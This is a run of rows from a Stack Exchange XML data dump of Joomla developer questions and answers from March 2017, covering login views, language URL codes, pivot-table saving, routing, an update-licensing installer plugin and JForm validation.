  <row Id="19263" PostTypeId="1" AcceptedAnswerId="19268" CreationDate="2017-03-02T12:19:15.523" Score="1" ViewCount="322" Body="&lt;p&gt;So I'm working on a website right now (duh) and I have a registration/login form when I click on the website. Logging in and stuff works fine, but I can for the love of god not find from where it comes. I usually use a login module, and if I activate it, both get shown and both work, but for the login module I can change options (for example where the user gets directed to when he logs in). I have, so far, not found anything about this mystery, except that it might be a standard from my template or something (Have I mentioned I'm fairly new to joomla?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is a picture of how it looks with the module activated. The top part where it says &quot;Login&quot; up to the red line is my module, the bottom part is the mysterious login that just popped up out of nowhere (and I've checked &lt;strong&gt;everything&lt;/strong&gt; three times, I even let a colleague check everything once and he didn't find anything either. Also, sorry because its german and not in english).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KWqrW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KWqrW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I either need to know how to change options for the bottom login form to make it redirect where I want it to go, or how to get rid of it completely and let my module take over. If you need any other information feel free to ask, I will happily provide anything that might help you help ... me.&lt;/p&gt;&#xA;" OwnerUserId="9768" LastActivityDate="2017-03-02T13:38:02.520" Title="Strange login form I didn't create gets shown" Tags="|login|joomla-3.5|registration|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19264" PostTypeId="2" ParentId="19209" CreationDate="2017-03-02T12:41:56.100" Score="0" Body="&lt;p&gt;Unfortunately, you can't override the default validation messages of Joomla. However, if you want to change the javascript messages you can hack in the media/system/js/validate.js file. (Don't do this until you really want it).&lt;/p&gt;&#xA;" OwnerUserId="9106" LastActivityDate="2017-03-02T12:41:56.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19265" PostTypeId="2" ParentId="19259" CreationDate="2017-03-02T13:06:36.917" Score="0" Body="&lt;p&gt;Sourcerer can in fact run a CTE query.  Just set it up as a long query string as if you were going to run inline sql in SSMS.  Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Database Connection Info&#xA;$db = JDatabase::getInstance( $option );&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query = &quot;;WITH CTE AS ..... rest of query&quot;;&#xA;$db-&amp;gt;setQuery($query); &#xA;$query = $db-&amp;gt;loadObjectList();&#xA;//Spit out results however you need&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8774" LastActivityDate="2017-03-02T13:06:36.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19266" PostTypeId="2" ParentId="19263" CreationDate="2017-03-02T13:21:05.197" Score="1" Body="&lt;p&gt;On this page you see 2 login forms. The one of them you say you know from where it's coming from and it's your login module that you have chosen to display as per your desire. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, the other login form as we see it in the screenshot you have posted, is coming from the core &lt;strong&gt;com_users&lt;/strong&gt; component and this is because you are currently loading this component's login view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just note your URL on that page: &lt;code&gt;../localhost/joomla/index.php/component/users/?view=login&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you navigate back to your home page &lt;code&gt;../localhost/joomla/index.php&lt;/code&gt; the second login form should go away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to give you some further help as of why you got there:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There can be various reasons for Joomla to redirect you to its core login &#xA;form page, depending on the whole website setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most common though are these:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Likely you clicked on a content item that requires you to be registered member to see it - In this case Joomla will take you to its core component login form.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Maybe you just logged out, (or your session timed-out) and Joomla is configured to redirect you back to the login form after logout.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A plugin or other extension may forcing redirection to the login form.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-03-02T13:21:05.197" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19267" PostTypeId="2" ParentId="19260" CreationDate="2017-03-02T13:35:44.863" Score="0" Body="&lt;p&gt;I assume you want to change the languages' URL code (en, bg, ro).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you need to go:&#xA;&lt;strong&gt;Extensions -&gt; Languages -&gt; Content Languages&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select/Click the language you want to edit and then change the field called: &lt;strong&gt;URL Language Code&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ATTENTION: Changing the URL language code, will make all your old links to result to 404 errors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you change the &lt;strong&gt;ro&lt;/strong&gt; to &lt;strong&gt;romania&lt;/strong&gt;, then the previous url: &lt;code&gt;example.com/ro/page&lt;/code&gt; will be accessible only at &lt;code&gt;example.com/romania/page&lt;/code&gt; and the old url will be a 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a further note - if you want your default/main language to be displayed without a language url code (e.g. let's say english is your default lang and you want your english pages have no &lt;code&gt;/en&lt;/code&gt; in their URLs, then you need to edit this on the &lt;strong&gt;System - Language Filter plugin&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;strong&gt;Extensions-&gt;Plugins&lt;/strong&gt;, do a search filter &quot;Lang&quot; - you will find 2 plugins. Select/Edit the Language Filter plugin, and set the field &lt;strong&gt;Remove URL Language Code&lt;/strong&gt; to Enabled (YES). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This setting will remove the language URL code and redirect all the pages of your default language.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-03-02T13:35:44.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19268" PostTypeId="2" ParentId="19263" CreationDate="2017-03-02T13:38:02.520" Score="0" Body="&lt;p&gt;The second login page is default Joomla login view. If you want to change login redirect page is follow this steps. However, I will suggest you don't publish login module on this view. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Navigate to Menus-&gt;your menu-&gt;Add New Menu Item&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cgaea.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cgaea.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Enter a Menu Title and Select the Menu Item Type&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0IV11.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0IV11.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HFFQu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HFFQu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Now select login redirection config&#xA;&lt;a href=&quot;https://i.stack.imgur.com/isXS7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/isXS7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9106" LastActivityDate="2017-03-02T13:38:02.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19269" PostTypeId="1" AcceptedAnswerId="19272" CreationDate="2017-03-02T16:12:23.000" Score="2" ViewCount="132" Body="&lt;p&gt;I'm developing my first Joomla component and it has been very hard to find proper documentation, so basically I've been checking core components to see how they get things done and try to apply the same method in my component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I cannot find how to save related tables. For example, let's say I have three tables:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Users&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;id,username, other_relevant_columns&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Roles&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;id,rolename, other_relevant_columns&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UsersRoles&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;user_id, role_id other_relevant_columns&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I create a new user, I need to specify which roles the user has and basically I have no idea where to add this code. Do I need to create a custom save method in order to achieve this? Where?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, how to display this information? I would like to display a group of checkboxes with all the roles that an user can have but I guess I cannot achieve this using the xml file to generate forms (because I need to load those values from the database and also need to retrieve the values in order to check/uncheck the checkboxes)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Keep in mind that these are only example tables. I'm not actually implementing a user-roles functionality.&lt;/p&gt;&#xA;" OwnerUserId="9770" LastActivityDate="2017-03-04T02:44:26.667" Title="Manage records in related table (sometimes referred as pivot table)" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19270" PostTypeId="1" AcceptedAnswerId="19343" CreationDate="2017-03-02T20:30:04.493" Score="1" ViewCount="241" Body="&lt;p&gt;I Created a new user in editor and tried to access the site the complete toolbar is missing. I tried changing in global configuration or in modules but nothing seems to work.&lt;/p&gt;&#xA;" OwnerUserId="9773" LastActivityDate="2017-12-09T16:39:43.073" Title="Admin Toolbar Save Button complete row is missing" Tags="|acl|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19271" PostTypeId="2" ParentId="19253" CreationDate="2017-03-02T21:43:37.453" Score="0" Body="&lt;p&gt;It is possible to use the router, which finds the component to create a base uri for the component.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$application = JFactory::getApplication();&#xA;$router = $application-&amp;gt;getRouter();&#xA;$componentUri = $router-&amp;gt;build('index.php?option=com_example');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will return &lt;code&gt;/administrator/index.php?option=com_example&lt;/code&gt; by admin pages and something like &lt;code&gt;/index.php/en/alias&lt;/code&gt; by site pages if you defined a menu point for the component with an alias. A drawback that this solution does not work properly if I access the site using the &lt;code&gt;/index.php/en/?option=com_example&lt;/code&gt; URI, so without using a menu point. It returns something like &lt;code&gt;/index.php/en/component/example/&lt;/code&gt;, which leads to a 404 page. This is not a real issue as long as we are trying to access the site pages with the alias containing URI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another alternative way to use the &lt;code&gt;JRoute::_('index.php?option=com_example')&lt;/code&gt; code, which does the exact same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default there is a legacy component router instantiated by the app, but it is not necessary to use it. I decided to write a custom router instead and I annotated my controllers and actions with the necessary info. So the approach is somewhat similar to java rest webservices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not have time to find a solution for moving the xml file, it is not a priority now.&lt;/p&gt;&#xA;" OwnerUserId="9637" LastEditorUserId="9637" LastEditDate="2017-03-02T23:38:32.053" LastActivityDate="2017-03-02T23:38:32.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19272" PostTypeId="2" ParentId="19269" CreationDate="2017-03-03T00:20:11.510" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Yep, you will need a custom save method to handle the pivot tables.  Probably on on delete event too to handle the removal of records etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Custom form fields (which can use db sourced options) are pretty easy, the doc is here: &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Creating_a_custom_form_field_type&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-03-03T00:20:11.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19273" PostTypeId="2" ParentId="19261" CreationDate="2017-03-03T07:33:31.757" Score="0" Body="&lt;p&gt;there seems to be more than 1 problem with your example page.&#xA;1. you specify the href of the popup link as /www.etc but you want //www.etc&#xA;2. the pano2yr player js fails to load even if you fix the href.  You can see that in your console.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-03-03T07:33:31.757" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19274" PostTypeId="2" ParentId="19269" CreationDate="2017-03-03T17:16:46.927" Score="1" Body="&lt;p&gt;When you create your main table (&quot;Users&quot; in your example above), then you need, as given in the &quot;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;Create your own component&lt;/a&gt;&quot; docs, a corresponding table object and a corresponding model object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extending the correct core model will give you the basics of what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You've got linked tables, so your &quot;main&quot; model will not only need to do its own work (save, in the example you've given), but also action the sub-tables as required, so you override the save method in this main model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could just do all the work, for the sub tables too, in the main object methods, but it would be smarter to create table and model objects for the sub-tables too and trigger their relevant methods from the main model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As james points out, you'll probably want to do the same with other methods too, delete &amp;amp;tc&lt;/p&gt;&#xA;" OwnerUserId="9777" LastEditorUserId="115" LastEditDate="2017-03-04T02:44:26.667" LastActivityDate="2017-03-04T02:44:26.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19275" PostTypeId="2" ParentId="19164" CreationDate="2017-03-03T21:45:06.693" Score="2" Body="&lt;p&gt;You can develop a Joomla plugin in the 'installer' group.&#xA;In this plugin user the Joomla event onInstallerBeforePackageDownload to modify the url of the request made to your server by the Joomla Update request and pass a key or other identification you may use to authorize the download.&lt;/p&gt;&#xA;&lt;p&gt;Here is below an example of a component 'ABC' that uses an update server. The component xml would then include the following :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;updateservers&amp;gt;&#xA;    &amp;lt;server type=&amp;quot;extension&amp;quot; priority=&amp;quot;1&amp;quot; name=&amp;quot;Component ABC Updater&amp;quot;&amp;gt;&amp;lt;![CDATA[http://www.mywebsite.com/updateserver.xml]]&amp;gt;&amp;lt;/server&amp;gt;&#xA;&amp;lt;/updateservers&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Create a new installer plugin that will handle the request to your site&#xA;First create a plugin xml definition&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&amp;lt;extension version=&amp;quot;2.5&amp;quot; minimum_version=&amp;quot;2.5.19&amp;quot; type=&amp;quot;plugin&amp;quot; group=&amp;quot;installer&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;&amp;lt;name&amp;gt;Installer - Your Website&amp;lt;/name&amp;gt;&#xA;&amp;lt;author&amp;gt;...&amp;lt;/author&amp;gt;&#xA;&amp;lt;authorEmail&amp;gt;...&amp;lt;/authorEmail&amp;gt;&#xA;&amp;lt;authorUrl&amp;gt;...&amp;lt;/authorUrl&amp;gt;&#xA;&amp;lt;creationDate&amp;gt;...&amp;lt;/creationDate&amp;gt;&#xA;&amp;lt;copyright&amp;gt;...&amp;lt;/copyright&amp;gt;&#xA;&amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;&amp;lt;files&amp;gt;&#xA;    &amp;lt;filename plugin=&amp;quot;daycounts&amp;quot;&amp;gt;daycounts.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the php file associated with it :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;/**&#xA; * Handle commercial extension update authorization&#xA; *&#xA; * @package     Joomla.Plugin&#xA; * @since       2.5&#xA; */&#xA;class plgInstallerDaycounts extends JPlugin&#xA;{&#xA;    private $_hathor,$_installfrom;&#xA;&#xA;    /**&#xA;     * Handle adding credentials to package download request&#xA;     *&#xA;     * @param   string  $url        url from which package is going to be downloaded&#xA;     * @param   array   $headers    headers to be sent along the download request (key =&amp;gt; value format)&#xA;     *&#xA;     * @return  boolean true if credentials have been added to request or not our business, false otherwise (credentials not set by user)&#xA;     *&#xA;     * @since   2.5&#xA;     */&#xA;    public function onInstallerBeforePackageDownload(&amp;amp;$url, &amp;amp;$headers)&#xA;    {&#xA;        $uri = JUri::getInstance($url);&#xA;&#xA;        // I don't care about download URLs not coming from our site&#xA;        // Note: as the Download ID is common for all extensions, this plugin will be triggered for all&#xA;        // extensions with a download URL on our site&#xA;        $host = $uri-&amp;gt;getHost();&#xA;        if (!in_array($host, array('www.yourwebsite.com', 'yourwebsite.com'))) {&#xA;            return true;&#xA;        }&#xA;&#xA;        JLoader::import('joomla.application.component.helper');&#xA;        //Read the component settings and read the download code that the customer entered &#xA;        $params = JComponentHelper::getParams('com_abc');&#xA;        $download_code = $params-&amp;gt;get('downloadcode','');&#xA;        &#xA;        // Append the Download ID to the download URL&#xA;        if (!empty($download_code))&#xA;        {&#xA;            $uri-&amp;gt;setVar('download_code', $download_code);&#xA;            $uri-&amp;gt;setVar('noredirect', 1);&#xA;            $uri-&amp;gt;setScheme('https');&#xA;            $uri-&amp;gt;setHost('www.yourwebsite.com');&#xA;            $url = $uri-&amp;gt;toString();&#xA;            &#xA;        } else {&#xA;            JFactory::getApplication()-&amp;gt;enqueueMessage('Please enter your download code in the component settings','error');&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9758" LastEditorUserId="9758" LastEditDate="2020-12-14T16:48:30.827" LastActivityDate="2020-12-14T16:48:30.827" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19277" PostTypeId="2" ParentId="17549" CreationDate="2017-03-04T05:36:06.787" Score="1" Body="&lt;p&gt;File /administrator/components/com_joomlaupdate/models/default.php &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search this string:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if (!$result || ($result-&gt;code != 200 &amp;amp;&amp;amp; $result-&gt;code != 310))&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add new codes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if (!$result || ($result-&gt;code != 200 &amp;amp;&amp;amp; $result-&gt;code != 310 &amp;amp;&amp;amp; $result-&gt;code != 303 &amp;amp;&amp;amp; $result-&gt;code != 302))&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The same solution for the new version 3.6.5)&lt;/p&gt;&#xA;" OwnerUserId="9781" LastActivityDate="2017-03-04T05:36:06.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19278" PostTypeId="2" ParentId="19260" CreationDate="2017-03-05T12:16:54.547" Score="0" Body="&lt;p&gt;In case you want to change the language and reload the same page and not redirect to the home page you have to associate that menu item with the appropriate one of every other language. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Edit your menu item -&gt; Associations Tab&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also do the same with your articles.&lt;/p&gt;&#xA;" OwnerUserId="7457" LastActivityDate="2017-03-05T12:16:54.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19280" PostTypeId="1" AcceptedAnswerId="19326" CreationDate="2017-03-05T18:53:54.097" Score="3" ViewCount="359" Body="&lt;p&gt;In Joomla! documentation it is stated that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Since Joomla 3.3, one should rather implement the interface                 JComponentRouterInterface and handle the routing and parsing similar as below, but via the methods of this interface.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But I cannot find any sample implementation of the interface mentioned above. Can anyone provide an example?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Supporting_SEF_URLs_in_your_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Supporting_SEF_URLs_in_your_component&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9633" LastEditorUserId="9633" LastEditDate="2017-03-05T19:00:19.480" LastActivityDate="2017-03-12T14:35:49.973" Title="Supporting SEF URLs in custom component" Tags="|joomla-3.x|sef|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19281" PostTypeId="1" CreationDate="2017-03-05T22:29:36.847" Score="3" ViewCount="1043" Body="&lt;p&gt;We're having issues with our website. We have migrated our Joomla content through J2XML to our new server where we started almost fresh (except the imported content, which was later imported to K2 component). We started on Joomla 3.5.1. Today we have noticed an issue with opening these imported articles, when trying to open them, we get an error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error decoding JSON data: quoted object property name expected&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Some of these older articles can be opened though, but they were modified prior to the update to Joomla 3.6.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what to do? Well, except pulling the website from the backup that was taken before the update ... unfortunately there was some work done and no backup taken in this one day after the backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Jan&lt;/p&gt;&#xA;" OwnerUserId="9219" LastEditorUserId="126" LastEditDate="2017-03-06T08:22:17.450" LastActivityDate="2018-06-30T20:35:28.343" Title="Error decoding JSON data: quoted object property name expected" Tags="|update|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19282" PostTypeId="1" AcceptedAnswerId="19284" CreationDate="2017-03-06T03:26:09.033" Score="1" ViewCount="760" Body="&lt;p&gt;I am trying to validate the input of my form on server side, but I always get true from the validator. What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;.../templates/customer_registration.xml&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form name=&quot;customer_registration_form&quot; title=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_TITLE&quot; description=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_DESCRIPTION&quot; buttonLabel=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_BUTTON_LABEL&quot;&amp;gt;&#xA;    &amp;lt;fields name=&quot;customer_registration&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;customer_registration&quot;&amp;gt;&#xA;            &amp;lt;field name=&quot;name&quot; type=&quot;text&quot; class=&quot;required validate-username&quot; size=&quot;80&quot; minLength=&quot;4&quot; maxLength=&quot;255&quot;&#xA;                label=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_NAME_LABEL&quot; description=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_NAME_DESCRIPTION&quot; message=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_NAME_MESSAGE&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;age&quot; type=&quot;integer&quot; class=&quot;required&quot; default=&quot;6&quot; first=&quot;1&quot; last=&quot;150&quot; step=&quot;1&quot;&#xA;                label=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_AGE_LABEL&quot; description=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_AGE_DESCRIPTION&quot; message=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_AGE_MESSAGE&quot; /&amp;gt;&#xA;            &amp;lt;field name=&quot;permanent_orderer&quot; type=&quot;checkbox&quot; default=&quot;1&quot;&#xA;                label=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_PERMANENT_ORDERER_LABEL&quot; description=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_PERMANENT_ORDERER_DESCRIPTION&quot; message=&quot;COM_CANTEEN_CUSTOMER_REGISTRATION_PERMANENT_ORDERER_MESSAGE&quot; /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;.../templates/basic_form_layout.php&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;extract($displayData);&#xA;JHtml::_('behavior.tooltip');&#xA;?&amp;gt;&#xA;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_canteen&amp;amp;controller=main&amp;amp;action=form_test'); ?&amp;gt;&quot;&#xA;      method=&quot;post&quot; name=&quot;&amp;lt;?php echo $form-&amp;gt;getAttribute('name'); ?&amp;gt;&quot; class=&quot;&amp;lt;?php echo $form-&amp;gt;getAttribute('class'); ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;legend&amp;gt;&amp;lt;?php echo JText::_($form-&amp;gt;getAttribute('title')); ?&amp;gt;&amp;lt;/legend&amp;gt;&#xA;    &amp;lt;?php&#xA;        echo JText::_($form-&amp;gt;getAttribute('description'));&#xA;        foreach (array_keys($form-&amp;gt;getFieldsets()) as $fieldset)&#xA;            echo $form-&amp;gt;renderFieldset($fieldset);&#xA;    ?&amp;gt;&#xA;    &amp;lt;div&amp;gt;&#xA;        &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;        &amp;lt;button type=&quot;submit&quot;&amp;gt;&amp;lt;?php echo JText::_($form-&amp;gt;getAttribute('buttonLabel')); ?&amp;gt;&amp;lt;/button&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;.../MainController.php&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;* @action &#xA;* @allow(&quot;public&quot;)&#xA;*/&#xA;public function formTest(iRequest $request, iResponse $response){&#xA;&#xA;    $templateDir = JPATH_COMPONENT . '/Canteen/presentation/templates';&#xA;    $form = JForm::getInstance('customer_registration', $templateDir . '/customer_registration.xml');&#xA;&#xA;    $formData = $request-&amp;gt;getPostData()-&amp;gt;getArray();&#xA;    $filtered = $form-&amp;gt;filter($formData);&#xA;&#xA;    foreach ($filtered as $fieldset =&amp;gt; $fields)&#xA;        foreach ($fields as $field =&amp;gt; $value)&#xA;            $form-&amp;gt;setValue($field, $fieldset, $value);&#xA;&#xA;    $result = $form-&amp;gt;validate($filtered);&#xA;&#xA;    $content = new HtmlFragment();&#xA;    $content-&amp;gt;addTemplate($response-&amp;gt;getTemplate('basic_form_layout.php'), array('form' =&amp;gt; $form));&#xA;    $content-&amp;gt;addText(var_export($result, true));&#xA;    $response-&amp;gt;setContent($content);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I checked the &lt;code&gt;$filtered&lt;/code&gt; variable; it contains the filtered data without the CSRF token, something like: &lt;code&gt;{'customer_registration': {name: &quot;&quot;, age: &quot;6&quot;, permanent_orderer: &quot;1&quot;}}&lt;/code&gt;. Actually no matter what data I give to the &lt;code&gt;$form-&amp;gt;validate($data)&lt;/code&gt;, it always returns true. I'd like to use &lt;code&gt;JForm&lt;/code&gt; to validate and display error messages. Any idea why this does not work?&lt;/p&gt;&#xA;" OwnerUserId="9637" LastActivityDate="2017-03-06T08:46:42.937" Title="Server side form validation always returns true" Tags="|joomla-3.x|joomla-3.4|jform|form|validations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
